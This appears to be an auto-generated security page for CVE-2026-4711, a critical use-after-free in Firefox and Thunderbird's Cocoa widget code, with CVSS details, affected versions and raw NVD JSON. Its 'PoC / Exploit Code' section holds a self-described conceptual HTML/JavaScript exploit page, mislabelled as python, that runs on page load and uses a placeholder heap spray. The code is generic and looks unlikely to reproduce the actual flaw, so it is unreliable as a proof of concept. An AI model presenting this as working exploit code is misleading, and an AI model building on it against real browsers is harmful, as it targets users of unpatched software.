Security Vulnerability Report
中文
CVE-2026-4711 CVSS 9.8 CRITICAL

CVE-2026-4711

Published: 2026-03-24 13:16:07
Last Modified: 2026-04-13 15:17:42

Description

Use-after-free in the Widget: Cocoa component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Firefox < 149
Firefox ESR < 140.9
Thunderbird < 149
Thunderbird < 140.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- // Proof of Concept for CVE-2026-4711 (Conceptual) // This script attempts to trigger the Use-After-Free in Widget: Cocoa --> <html> <body> <script> function trigger_uaf() { // Create a vulnerable element context var vuln_obj = document.createElement('div'); document.body.appendChild(vuln_obj); // Force specific layout calculation or event handling vuln_obj.style.display = 'flex'; vuln_obj.getBoundingClientRect(); // Remove the object (Free memory) document.body.removeChild(vuln_obj); // Attempt to reallocate the freed memory with attacker-controlled data // In a real exploit, this would be a heap spray var buffer = new ArrayBuffer(0x1000); var view = new Uint32Array(buffer); for (let i = 0; i < view.length; i++) { view[i] = 0x41414141; // Placeholder payload } // Trigger the Use-After-Free by accessing the freed object // This may crash the browser or lead to code execution try { vuln_obj.scrollIntoView(); } catch(e) { console.log("Exception triggered: " + e); } } window.onload = trigger_uaf; </script> <p>CVE-2026-4711 PoC Test Page</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4711", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:07.010", "lastModified": "2026-04-13T15:17:42.370", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the Widget: Cocoa component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Uso después de liberación en el componente Widget: Cocoa. Esta vulnerabilidad afecta a Firefox &lt; 149, Firefox ESR &lt; 140.9, Thunderbird &lt; 149, y Thunderbird &lt; 140.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.9.0", "matchCriteriaId": "DA62D95E-CB01-4586-83DB-5094116FC939"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2017002", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}